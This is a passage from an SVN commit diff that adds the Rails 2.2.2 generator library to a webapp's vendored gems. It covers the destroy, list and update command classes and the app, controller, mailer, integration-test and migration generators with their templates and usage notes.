+                if options[:git][:new][relative_destination]
+                  # file has been added, but not committed
+                  system("git reset HEAD #{relative_destination}")
+                  FileUtils.rm(destination)
+                elsif options[:git][:modified][relative_destination]
+                  # file is committed and modified
+                  system("git rm -f #{relative_destination}")
+                else
+                  # If the directory is not in the status list, it
+                  # has no modifications so we can simply remove it
+                  system("git rm #{relative_destination}")
+                end
+              else
+                FileUtils.rm(destination)
+              end
+            end
+          else
+            logger.missing relative_destination
+            return
+          end
+        end
+
+        # Templates are deleted just like files and the actions take the
+        # same parameters, so simply alias the file method.
+        alias_method :template, :file
+
+        # Remove each directory in the given path from right to left.
+        # Remove each subdirectory if it exists and is a directory.
+        def directory(relative_path)
+          parts = relative_path.split('/')
+          until parts.empty?
+            partial = File.join(parts)
+            path = destination_path(partial)
+            if File.exist?(path)
+              if Dir[File.join(path, '*')].empty?
+                logger.rmdir partial
+                unless options[:pretend]
+                  if options[:svn]
+                    # If the directory has been marked to be added
+                    # but has not yet been checked in, revert and delete
+                    if options[:svn][relative_path]
+                      system("svn revert #{path}")
+                      FileUtils.rmdir(path)
+                    else
+                    # If the directory is not in the status list, it
+                    # has no modifications so we can simply remove it
+                      system("svn rm #{path}")
+                    end
+                  # I don't think git needs to remove directories?..
+                  # or maybe they have special consideration...
+                  else
+                    FileUtils.rmdir(path)
+                  end
+                end
+              else
+                logger.notempty partial
+              end
+            else
+              logger.missing partial
+            end
+            parts.pop
+          end
+        end
+
+        def complex_template(*args)
+          # nothing should be done here
+        end
+
+        # When deleting a migration, it knows to delete every file named "[0-9]*_#{file_name}".
+        def migration_template(relative_source, relative_destination, template_options = {})
+          migration_directory relative_destination
+
+          migration_file_name = template_options[:migration_file_name] || file_name
+          unless migration_exists?(migration_file_name)
+            puts "There is no migration named #{migration_file_name}"
+            return
+          end
+
+
+          existing_migrations(migration_file_name).each do |file_path|
+            file(relative_source, file_path, template_options)
+          end
+        end
+
+        def route_resources(*resources)
+          resource_list = resources.map { |r| r.to_sym.inspect }.join(', ')
+          look_for = "\n  map.resources #{resource_list}\n"
+          logger.route "map.resources #{resource_list}"
+          gsub_file 'config/routes.rb', /(#{look_for})/mi, ''
+        end
+      end
+
+
+      # List a generator's action manifest.
+      class List < Base
+        def dependency(generator_name, args, options = {})
+          logger.dependency "#{generator_name}(#{args.join(', ')}, #{options.inspect})"
+        end
+
+        def class_collisions(*class_names)
+          logger.class_collisions class_names.join(', ')
+        end
+
+        def file(relative_source, relative_destination, options = {})
+          logger.file relative_destination
+        end
+
+        def template(relative_source, relative_destination, options = {})
+          logger.template relative_destination
+        end
+
+        def complex_template(relative_source, relative_destination, options = {})
+          logger.template "#{options[:insert]} inside #{relative_destination}"
+        end
+
+        def directory(relative_path)
+          logger.directory "#{destination_path(relative_path)}/"
+        end
+
+        def readme(*args)
+          logger.readme args.join(', ')
+        end
+
+        def migration_template(relative_source, relative_destination, options = {})
+          migration_directory relative_destination
+          logger.migration_template file_name
+        end
+
+        def route_resources(*resources)
+          resource_list = resources.map { |r| r.to_sym.inspect }.join(', ')
+          logger.route "map.resources #{resource_list}"
+        end
+      end
+
+      # Update generator's action manifest.
+      class Update < Create
+        def file(relative_source, relative_destination, options = {})
+          # logger.file relative_destination
+        end
+
+        def template(relative_source, relative_destination, options = {})
+          # logger.template relative_destination
+        end
+
+        def complex_template(relative_source, relative_destination, template_options = {})
+
+           begin
+             dest_file = destination_path(relative_destination)
+             source_to_update = File.readlines(dest_file).join
+           rescue Errno::ENOENT
+             logger.missing relative_destination
+             return
+           end
+
+           logger.refreshing "#{template_options[:insert].gsub(/\.erb/,'')} inside #{relative_destination}"
+
+           begin_mark = Regexp.quote(template_part_mark(template_options[:begin_mark], template_options[:mark_id]))
+           end_mark = Regexp.quote(template_part_mark(template_options[:end_mark], template_options[:mark_id]))
+
+           # Refreshing inner part of the template with freshly rendered part.
+           rendered_part = render_template_part(template_options)
+           source_to_update.gsub!(/#{begin_mark}.*?#{end_mark}/m, rendered_part)
+
+           File.open(dest_file, 'w') { |file| file.write(source_to_update) }
+        end
+
+        def directory(relative_path)
+          # logger.directory "#{destination_path(relative_path)}/"
+        end
+      end
+
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generated_attribute.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generated_attribute.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generated_attribute.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+require 'optparse'
+
+module Rails
+  module Generator
+    class GeneratedAttribute
+      attr_accessor :name, :type, :column
+
+      def initialize(name, type)
+        @name, @type = name, type.to_sym
+        @column = ActiveRecord::ConnectionAdapters::Column.new(name, nil, @type)
+      end
+
+      def field_type
+        @field_type ||= case type
+          when :integer, :float, :decimal   then :text_field
+          when :datetime, :timestamp, :time then :datetime_select
+          when :date                        then :date_select
+          when :string                      then :text_field
+          when :text                        then :text_area
+          when :boolean                     then :check_box
+          else
+            :text_field
+        end      
+      end
+
+      def default
+        @default ||= case type
+          when :integer                     then 1
+          when :float                       then 1.5
+          when :decimal                     then "9.99"
+          when :datetime, :timestamp, :time then Time.now.to_s(:db)
+          when :date                        then Date.today.to_s(:db)
+          when :string                      then "MyString"
+          when :text                        then "MyText"
+          when :boolean                     then false
+          else
+            ""
+        end      
+      end
+
+      def reference?
+        [ :references, :belongs_to ].include?(self.type)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications/app/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications/app/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications/app/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+Description:
+    The 'rails' command creates a new Rails application with a default
+    directory structure and configuration at the path you specify.
+
+Example:
+    rails ~/Code/Ruby/weblog
+
+    This generates a skeletal Rails installation in ~/Code/Ruby/weblog.
+    See the README in the newly created application to get going.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications/app/app_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications/app/app_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications/app/app_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,184 @@
+require 'rbconfig'
+require 'digest/md5' 
+require 'active_support/secure_random'
+
+class AppGenerator < Rails::Generator::Base
+  DEFAULT_SHEBANG = File.join(Config::CONFIG['bindir'],
+                              Config::CONFIG['ruby_install_name'])
+
+  DATABASES = %w(mysql oracle postgresql sqlite2 sqlite3 frontbase ibm_db)
+  DEFAULT_DATABASE = 'sqlite3'
+
+  default_options   :db => (ENV["RAILS_DEFAULT_DATABASE"] || DEFAULT_DATABASE),
+    :shebang => DEFAULT_SHEBANG, :freeze => false
+  mandatory_options :source => "#{File.dirname(__FILE__)}/../../../../.."
+
+  def initialize(runtime_args, runtime_options = {})
+    super
+    usage if args.empty?
+    usage("Databases supported for preconfiguration are: #{DATABASES.join(", ")}") if (options[:db] && !DATABASES.include?(options[:db]))
+    @destination_root = args.shift
+    @app_name = File.basename(File.expand_path(@destination_root))
+  end
+
+  def manifest
+    # Use /usr/bin/env if no special shebang was specified
+    script_options     = { :chmod => 0755, :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang] }
+    dispatcher_options = { :chmod => 0755, :shebang => options[:shebang] }
+
+    # duplicate CGI::Session#generate_unique_id
+    md5 = Digest::MD5.new
+    now = Time.now
+    md5 << now.to_s
+    md5 << String(now.usec)
+    md5 << String(rand(0))
+    md5 << String($$)
+    md5 << @app_name
+
+    # Do our best to generate a secure secret key for CookieStore
+    secret = ActiveSupport::SecureRandom.hex(64)
+
+    record do |m|
+      # Root directory and all subdirectories.
+      m.directory ''
+      BASEDIRS.each { |path| m.directory path }
+
+      # Root
+      m.file "fresh_rakefile", "Rakefile"
+      m.file "README",         "README"
+
+      # Application
+      m.template "helpers/application.rb",        "app/controllers/application.rb", :assigns => { :app_name => @app_name, :app_secret => md5.hexdigest }
+      m.template "helpers/application_helper.rb", "app/helpers/application_helper.rb"
+      m.template "helpers/test_helper.rb",        "test/test_helper.rb"
+      m.template "helpers/performance_test.rb",   "test/performance/browsing_test.rb"
+
+      # database.yml and routes.rb
+      m.template "configs/databases/#{options[:db]}.yml", "config/database.yml", :assigns => {
+        :app_name => @app_name,
+        :socket   => options[:db] == "mysql" ? mysql_socket_location : nil
+      }
+      m.template "configs/routes.rb", "config/routes.rb"
+
+      # Initializers
+      m.template "configs/initializers/inflections.rb", "config/initializers/inflections.rb"
+      m.template "configs/initializers/mime_types.rb", "config/initializers/mime_types.rb"
+      m.template "configs/initializers/new_rails_defaults.rb", "config/initializers/new_rails_defaults.rb"
+
+      # Locale
+      m.template "configs/locales/en.yml", "config/locales/en.yml"
+
+      # Environments
+      m.file "environments/boot.rb",    "config/boot.rb"
+      m.template "environments/environment.rb", "config/environment.rb", :assigns => { :freeze => options[:freeze], :app_name => @app_name, :app_secret => secret }
+      m.file "environments/production.rb",  "config/environments/production.rb"
+      m.file "environments/development.rb", "config/environments/development.rb"
+      m.file "environments/test.rb",        "config/environments/test.rb"
+
+      # Scripts
+      %w( about console dbconsole destroy generate performance/benchmarker performance/profiler performance/request process/reaper process/spawner process/inspector runner server plugin ).each do |file|
+        m.file "bin/#{file}", "script/#{file}", script_options
+      end
+
+      # Dispatches
+      m.file "dispatches/dispatch.rb",   "public/dispatch.rb", dispatcher_options
+      m.file "dispatches/dispatch.rb",   "public/dispatch.cgi", dispatcher_options
+      m.file "dispatches/dispatch.fcgi", "public/dispatch.fcgi", dispatcher_options
+
+      # HTML files
+      %w(404 422 500 index).each do |file|
+        m.template "html/#{file}.html", "public/#{file}.html"
+      end
+
+      m.template "html/favicon.ico",  "public/favicon.ico"
+      m.template "html/robots.txt",   "public/robots.txt"
+      m.file "html/images/rails.png", "public/images/rails.png"
+
+      # Javascripts
+      m.file "html/javascripts/prototype.js",    "public/javascripts/prototype.js"
+      m.file "html/javascripts/effects.js",      "public/javascripts/effects.js"
+      m.file "html/javascripts/dragdrop.js",     "public/javascripts/dragdrop.js"
+      m.file "html/javascripts/controls.js",     "public/javascripts/controls.js"
+      m.file "html/javascripts/application.js",  "public/javascripts/application.js"
+
+      # Docs
+      m.file "doc/README_FOR_APP", "doc/README_FOR_APP"
+
+      # Logs
+      %w(server production development test).each { |file|
+        m.file "configs/empty.log", "log/#{file}.log", :chmod => 0666
+      }
+    end
+  end
+
+  protected
+    def banner
+      "Usage: #{$0} /path/to/your/app [options]"
+    end
+
+    def add_options!(opt)
+      opt.separator ''
+      opt.separator 'Options:'
+      opt.on("-r", "--ruby=path", String,
+             "Path to the Ruby binary of your choice (otherwise scripts use env, dispatchers current path).",
+             "Default: #{DEFAULT_SHEBANG}") { |v| options[:shebang] = v }
+
+      opt.on("-d", "--database=name", String,
+            "Preconfigure for selected database (options: #{DATABASES.join('/')}).",
+            "Default: #{DEFAULT_DATABASE}") { |v| options[:db] = v }
+
+      opt.on("-f", "--freeze",
+            "Freeze Rails in vendor/rails from the gems generating the skeleton",
+            "Default: false") { |v| options[:freeze] = v }
+    end
+
+    def mysql_socket_location
+      MYSQL_SOCKET_LOCATIONS.find { |f| File.exist?(f) } unless RUBY_PLATFORM =~ /(:?mswin|mingw)/
+    end
+
+
+  # Installation skeleton.  Intermediate directories are automatically
+  # created so don't sweat their absence here.
+  BASEDIRS = %w(
+    app/controllers
+    app/helpers
+    app/models
+    app/views/layouts
+    config/environments
+    config/initializers
+    config/locales
+    db
+    doc
+    lib
+    lib/tasks
+    log
+    public/images
+    public/javascripts
+    public/stylesheets
+    script/performance
+    script/process
+    test/fixtures
+    test/functional
+    test/integration
+    test/performance
+    test/unit
+    vendor
+    vendor/plugins
+    tmp/sessions
+    tmp/sockets
+    tmp/cache
+    tmp/pids
+  )
+
+  MYSQL_SOCKET_LOCATIONS = [
+    "/tmp/mysql.sock",                        # default
+    "/var/run/mysqld/mysqld.sock",            # debian/gentoo
+    "/var/tmp/mysql.sock",                    # freebsd
+    "/var/lib/mysql/mysql.sock",              # fedora
+    "/opt/local/lib/mysql/mysql.sock",        # fedora
+    "/opt/local/var/run/mysqld/mysqld.sock",  # mac + darwinports + mysql
+    "/opt/local/var/run/mysql4/mysqld.sock",  # mac + darwinports + mysql4
+    "/opt/local/var/run/mysql5/mysqld.sock",  # mac + darwinports + mysql5
+    "/opt/lampp/var/mysql/mysql.sock"         # xampp for linux
+  ]
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+Description:
+    Stubs out a new controller and its views. Pass the controller name, either
+    CamelCased or under_scored, and a list of views as arguments.
+
+    To create a controller within a module, specify the controller name as a
+    path like 'parent_module/controller_name'.
+
+    This generates a controller class in app/controllers, view templates in
+    app/views/controller_name, a helper class in app/helpers, and a functional
+    test suite in test/functional.
+
+Example:
+    `./script/generate controller CreditCard open debit credit close`
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+        Test:       test/functional/credit_card_controller_test.rb
+
+Modules Example:
+    `./script/generate controller 'admin/credit_card' suspend late_fee`
+
+    Credit card admin controller with URLs /admin/credit_card/suspend.
+        Controller: app/controllers/admin/credit_card_controller.rb
+        Views:      app/views/admin/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/admin/credit_card_helper.rb
+        Test:       test/functional/admin/credit_card_controller_test.rb
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/controller_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/controller_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/controller_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,37 @@
+class ControllerGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions "#{class_name}Controller", "#{class_name}ControllerTest", "#{class_name}Helper"
+
+      # Controller, helper, views, and test directories.
+      m.directory File.join('app/controllers', class_path)
+      m.directory File.join('app/helpers', class_path)
+      m.directory File.join('app/views', class_path, file_name)
+      m.directory File.join('test/functional', class_path)
+
+      # Controller class, functional test, and helper class.
+      m.template 'controller.rb',
+                  File.join('app/controllers',
+                            class_path,
+                            "#{file_name}_controller.rb")
+
+      m.template 'functional_test.rb',
+                  File.join('test/functional',
+                            class_path,
+                            "#{file_name}_controller_test.rb")
+
+      m.template 'helper.rb',
+                  File.join('app/helpers',
+                            class_path,
+                            "#{file_name}_helper.rb")
+
+      # View template for each action.
+      actions.each do |action|
+        path = File.join('app/views', class_path, file_name, "#{action}.html.erb")
+        m.template 'view.html.erb', path,
+          :assigns => { :action => action, :path => path }
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/controller.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/controller.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/controller.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+class <%= class_name %>Controller < ApplicationController
+<% for action in actions -%>
+  def <%= action %>
+  end
+
+<% end -%>
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/functional_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/functional_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/functional_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class <%= class_name %>ControllerTest < ActionController::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+module <%= class_name %>Helper
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/view.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/view.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates/view.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<h1><%= class_name %>#<%= action %></h1>
+<p>Find me in <%= path %></p>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+Description:
+    Stubs out a new integration test. Pass the name of the test, either
+    CamelCased or under_scored, as an argument. The new test class is
+    generated in test/integration/testname_test.rb
+
+Example:
+    `./script/generate integration_test GeneralStories` creates a GeneralStories
+    integration test in test/integration/general_stories_test.rb

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/integration_test_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/integration_test_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/integration_test_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+class IntegrationTestGenerator < Rails::Generator::NamedBase
+  default_options :skip_migration => false
+
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions class_name, "#{class_name}Test"
+
+      # integration test directory
+      m.directory File.join('test/integration', class_path)
+
+      # integration test stub
+      m.template 'integration_test.rb', File.join('test/integration', class_path, "#{file_name}_test.rb")
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/templates/integration_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/templates/integration_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/templates/integration_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+require 'test_helper'
+
+class <%= class_name %>Test < ActionController::IntegrationTest
+  fixtures :all
+
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+Description:
+    Stubs out a new mailer and its views. Pass the mailer name, either
+    CamelCased or under_scored, and an optional list of emails as arguments.
+
+    This generates a mailer class in app/models, view templates in
+    app/views/mailer_name, a unit test in test/unit, and fixtures in
+    test/fixtures.
+
+Example:
+    `./script/generate mailer Notifications signup forgot_password invoice`
+
+    creates a Notifications mailer class, views, test, and fixtures:
+        Mailer:     app/models/notifications.rb
+        Views:      app/views/notifications/signup.erb [...]
+        Test:       test/unit/test/unit/notifications_test.rb
+        Fixtures:   test/fixtures/notifications/signup [...]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/mailer_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/mailer_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/mailer_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+class MailerGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions class_name, "#{class_name}Test"
+
+      # Mailer, view, test, and fixture directories.
+      m.directory File.join('app/models', class_path)
+      m.directory File.join('app/views', file_path)
+      m.directory File.join('test/unit', class_path)
+      m.directory File.join('test/fixtures', file_path)
+
+      # Mailer class and unit test.
+      m.template "mailer.rb",    File.join('app/models', class_path, "#{file_name}.rb")
+      m.template "unit_test.rb", File.join('test/unit', class_path, "#{file_name}_test.rb")
+
+      # View template and fixture for each action.
+      actions.each do |action|
+        relative_path = File.join(file_path, action)
+        view_path     = File.join('app/views', "#{relative_path}.erb")
+        fixture_path  = File.join('test/fixtures', relative_path)
+
+        m.template "view.erb", view_path,
+                   :assigns => { :action => action, :path => view_path }
+        m.template "fixture.erb", fixture_path,
+                   :assigns => { :action => action, :path => view_path }
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/fixture.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/fixture.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/fixture.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<%= class_name %>#<%= action %>
+
+Find me in <%= path %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/fixture.rhtml
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/mailer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/mailer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/mailer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+class <%= class_name %> < ActionMailer::Base
+  
+<% for action in actions -%>
+
+  def <%= action %>(sent_at = Time.now)
+    subject    '<%= class_name %>#<%= action %>'
+    recipients ''
+    from       ''
+    sent_on    sent_at
+    
+    body       :greeting => 'Hi,'
+  end
+<% end -%>
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/unit_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/unit_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/unit_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'test_helper'
+
+class <%= class_name %>Test < ActionMailer::TestCase
+<% for action in actions -%>
+  test "<%= action %>" do
+    @expected.subject = '<%= class_name %>#<%= action %>'
+    @expected.body    = read_fixture('<%= action %>')
+    @expected.date    = Time.now
+
+    assert_equal @expected.encoded, <%= class_name %>.create_<%= action %>(@expected.date).encoded
+  end
+
+<% end -%>
+<% if actions.blank? -%>
+  # replace this with your real tests
+  test "the truth" do
+    assert true
+  end
+<% end -%>
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/view.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/view.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/view.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<%= class_name %>#<%= action %>
+
+Find me in <%= path %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates/view.rhtml
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+Description:
+    Stubs out a new database migration. Pass the migration name, either
+    CamelCased or under_scored, and an optional list of attribute pairs as arguments.
+
+    A migration class is generated in db/migrate prefixed by a timestamp of the current date and time.
+
+    You can name your migration in either of these formats to generate add/remove
+    column lines from supplied attributes: AddColumnsToTable or RemoveColumnsFromTable
+
+Example:
+    `./script/generate migration AddSslFlag`
+
+    If the current date is May 14, 2008 and the current time 09:09:12, this creates the AddSslFlag migration
+    db/migrate/20080514090912_add_ssl_flag.rb
+
+    `./script/generate migration AddTitleBodyToPost title:string body:text published:boolean`
+    
+    This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with
+    this in the Up migration:
+
+      add_column :posts, :title, :string  
+      add_column :posts, :body, :text  
+      add_column :posts, :published, :boolean
+
+    And this in the Down migration:
+    
+      remove_column :posts, :published  
+      remove_column :posts, :body  
+      remove_column :posts, :title

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/migration_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/migration_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/migration_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+class MigrationGenerator < Rails::Generator::NamedBase  
+  def manifest
+    record do |m|
+      m.migration_template 'migration.rb', 'db/migrate', :assigns => get_local_assigns
+    end
+  end
+
+  
+  private  
+    def get_local_assigns
+      returning(assigns = {}) do
+        if class_name.underscore =~ /^(add|remove)_.*_(?:to|from)_(.*)/
+          assigns[:migration_action] = $1
+          assigns[:table_name]       = $2.pluralize
+        else
+          assigns[:attributes] = []
+        end
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/templates/migration.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/templates/migration.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/templates/migration.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+class <%= class_name.underscore.camelize %> < ActiveRecord::Migration
+  def self.up<% attributes.each do |attribute| %>
+    <%= migration_action %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'add' %>, :<%= attribute.type %><% end -%>
+  <%- end %>
+  end
+
